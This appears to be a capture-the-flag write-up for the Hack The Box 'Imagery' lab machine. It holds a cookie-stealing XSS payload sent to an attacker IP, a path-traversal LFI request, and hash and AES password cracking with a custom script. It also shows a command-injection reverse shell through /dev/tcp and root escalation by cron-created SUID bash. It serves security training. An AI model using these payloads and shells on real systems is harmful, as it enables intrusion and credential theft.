Post

HTB Imagery WriteUp

HTB Imagery WriteUp

Author: Sierra0117

Enumeration

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
❯ nmap -sC -sV -A imagery.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 14:31 IST
Nmap scan report for imagery.htb (10.10.11.88)
Host is up (0.22s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
|_http-title: Image Gallery
8002/tcp open  http    SimpleHTTPServer 0.6 (Python 3.12.7)
|_http-title: Directory listing for /
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=10/11%OT=22%CT=1%CU=32757%PV=Y%DS=2%DC=T%G=Y%TM=68EA1D
OS:52%P=x86_64-pc-linux-gnu)SEQ(CI=Z%TS=A)SEQ(SP=103%GCD=1%ISR=102%TI=Z%CI=
OS:Z%TS=A)SEQ(SP=FE%GCD=1%ISR=100%TI=Z%CI=Z%TS=A)OPS(O1=%O2=M552ST11NW7%O3=
OS:M552NNT11NW7%O4=M552ST11NW7%O5=M552ST11NW7%O6=M552ST11)WIN(W1=0%W2=FE88%
OS:W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=N)ECN(R=Y%DF=Y%TG=40%W=FAF0%O=M552
OS:NNSNW7%CC=Y%Q=)ECN(R=Y%DF=Y%T=40%W=0%O=%CC=N%Q=)ECN(R=Y%DF=Y%T=40%W=FAF0
OS:%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)T1(R=Y%DF=
OS:Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T4(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T5(R=
OS:N)T5(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=
OS:Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T6(R
OS:=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F
OS:=AR%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=N)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=N)IE(R=
OS:Y%DFI=N%TG=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT       ADDRESS
1   213.81 ms 10.10.14.1
2   213.95 ms imagery.htb (10.10.11.88)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.97 seconds

RustScan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
❯ rustscan -a imagery.htb
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.11.88:22
Open 10.10.11.88:8000
Open 10.10.11.88:8002
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 14:32 IST
Initiating Ping Scan at 14:32
Scanning 10.10.11.88 [4 ports]
Completed Ping Scan at 14:32, 0.24s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:32
Scanning imagery.htb (10.10.11.88) [3 ports]
Discovered open port 22/tcp on 10.10.11.88
Discovered open port 8000/tcp on 10.10.11.88
Discovered open port 8002/tcp on 10.10.11.88
Completed SYN Stealth Scan at 14:32, 0.23s elapsed (3 total ports)
Nmap scan report for imagery.htb (10.10.11.88)
Host is up, received reset ttl 63 (0.21s latency).
Scanned at 2025-10-11 14:32:43 IST for 0s

PORT     STATE SERVICE        REASON
22/tcp   open  ssh            syn-ack ttl 63
8000/tcp open  http-alt       syn-ack ttl 63
8002/tcp open  teradataordbms syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
           Raw packets sent: 7 (284B) | Rcvd: 12 (995B)

Web Enumeration

Port 8000 - Main Application

Navigating to http://imagery.htb:8000/ reveals an image gallery application built with Python Flask (Werkzeug server).

Key Features Discovered:

  • User registration and login system
  • Image upload functionality
  • Image transformation features (crop, resize, etc.)
  • Admin panel (restricted access)
  • Bug report feature

Port 8002 - Directory Listing

Port 8002 shows a simple directory listing, but appears to be empty or minimal.


Initial Access

Step 1: Account Registration

Create a new user account on the application to access basic features.

Step 2: XSS in Bug Report Feature

The bug report functionality is vulnerable to Cross-Site Scripting (XSS).

Exploit Setup:

  1. Start a local HTTP server to capture cookies:
    1
    
    python3 -m http.server 80
    
  2. Submit the following XSS payload in the bug report:
    1
    
    <img src=1 onerror="document.location='http://10.10.14.80/steal?c='+document.cookie">
    
  3. When the admin views the report, their session cookie is stolen.

Captured Cookie:

1
session=eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOojKQ.dqBHLSUgDCOIwt4-MW_QbC5bYAM...

Step 3: Session Hijacking

Use browser developer tools to inject the stolen admin cookie and gain admin access.

Step 4: Local File Inclusion (LFI)

As admin, access the system log download feature which is vulnerable to LFI:

1
2
curl "http://imagery.htb:8000/admin/get_system_log?log_identifier=../../../../../home/web/web/db.json" \
  -H "Cookie: session=<ADMIN_SESSION_COOKIE>"

Extracted Database:

1
2
3
4
5
6
7
8
{
  "users": [
    {
      "email": "testuser@imagery.htb",
      "password_hash": "2c65c8d7bfbca32a3ed42596192384f6"
    }
  ]
}

Step 5: Password Cracking

Crack the MD5 hash using hashcat:

1
2
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
# Result: testuser@imagery.htb:iambatman

Step 6: Remote Code Execution via Image Transformation

Login with the cracked credentials. The image transformation feature contains command injection.

Intercept the crop request with Burp Suite and modify:

1
2
3
4
5
6
7
8
9
10
{
  "imageId": "108c9306-29e9-4717-b150-5a51eea7b56f",
  "transformType": "crop",
  "params": {
    "x": ";setsid /bin/bash -c \"/bin/bash -i >& /dev/tcp/10.10.14.80/4444 0>&1\";",
    "y": 0,
    "width": 640,
    "height": 640
  }
}

Catch the reverse shell:

1
pwncat-cs -p 4444

Privilege Escalation to User

Step 7: System Enumeration

Upload and run LinPEAS for automated enumeration.

Key Finding: Encrypted backup file at /var/backup/web_20250806_120723.zip.aes

Step 8: AES Decryption

Download the encrypted file and crack the AES password:

Custom cracking script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
import pyAesCrypt
import sys

def crack_aes(encrypted_file, wordlist, output_file):
    with open(wordlist, 'r') as f:
        for password in f:
            password = password.strip()
            try:
                with open(encrypted_file, 'rb') as fIn:
                    with open(output_file, 'wb') as fOut:
                        pyAesCrypt.decryptStream(fIn, fOut, password, 64*1024)
                print(f"[+] SUCCESS! Password: {password}")
                return password
            except:
                continue
    print("[-] Password not found")

if __name__ == "__main__":
    crack_aes(sys.argv[1], sys.argv[2], sys.argv[3])

Run the cracker:

1
2
python3 crack_aes.py web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt decrypted.zip
# Password: bestfriends

Step 9: Extract Backup Contents

1
2
unzip decrypted.zip
cat web/db.json

Additional User Credentials:

1
2
3
4
5
6
7
8
{
  "users": [
    {
      "email": "mark@imagery.htb",
      "password_hash": "01c3d2e5bdaf6134cec0a367cf53e535"
    }
  ]
}

Crack mark’s hash:

1
2
hashcat -m 0 mark_hash.txt /usr/share/wordlists/rockyou.txt
# Result: mark:supersmash

Step 10: User Flag

1
2
3
4
su mark
# Password: supersmash
cat /home/mark/user.txt
049dc115ceb2********************

Privilege Escalation to Root

Step 11: Sudo Privileges Analysis

Check sudo permissions for mark:

1
2
3
sudo -l
# User mark may run the following commands on Imagery:
#     (ALL) NOPASSWD: /usr/local/bin/charcol

Step 12: Charcol Binary Analysis

Explore the charcol backup management tool:

1
sudo /usr/local/bin/charcol --help

Key Features:

  • Interactive shell mode
  • Cron job management with auto add command
  • Security Issue: Command parameters are not validated

Step 13: Reset Charcol Password

1
2
sudo /usr/local/bin/charcol -R
# Enter system password: supersmash

Step 14: Create Malicious Cron Job

Enter interactive mode and create a root cron job. I had two options:

Option 1: Create a SUID binary for persistent root access

1
2
sudo /usr/local/bin/charcol shell
auto add --schedule "* * * * *" --command "/bin/cp /bin/bash /tmp/rootbash && /bin/chmod +s /tmp/rootbash" --name "rootshell"

Option 2: Directly steal the root flag (Preferred method)

1
auto add --schedule "* * * * *" --command "/bin/bash -c 'cat /root/root.txt > /tmp/root_flag.txt && chmod 777 /tmp/root_flag.txt'" --name "getflag"

Step 15: Root Access

Exit the Charcol shell:

1
exit

Wait approximately 60 seconds for the cron job to execute.

For Option 1 (SUID binary):

1
2
# Check if the file was created
ls -la /tmp/rootbash

Output:

1
-rwsr-sr-x 1 root root 1474768 Sep 30 08:29 /tmp/rootbash

Execute the SUID bash with preserved privileges:

1
/tmp/rootbash -p

Note: The -p flag is crucial - it tells bash to run in privileged mode, preserving the effective UID.

For Option 2 (Direct flag extraction - Preferred):

1
cat /tmp/root_flag.txt

Verify you’re root:

1
2
whoami  # root
id      # uid=0(root)

Capture the root flag:

1
2
cat /root/root.txt
68b9a2184a8c7777a46b3**************
This post is licensed under CC BY 4.0 by the author.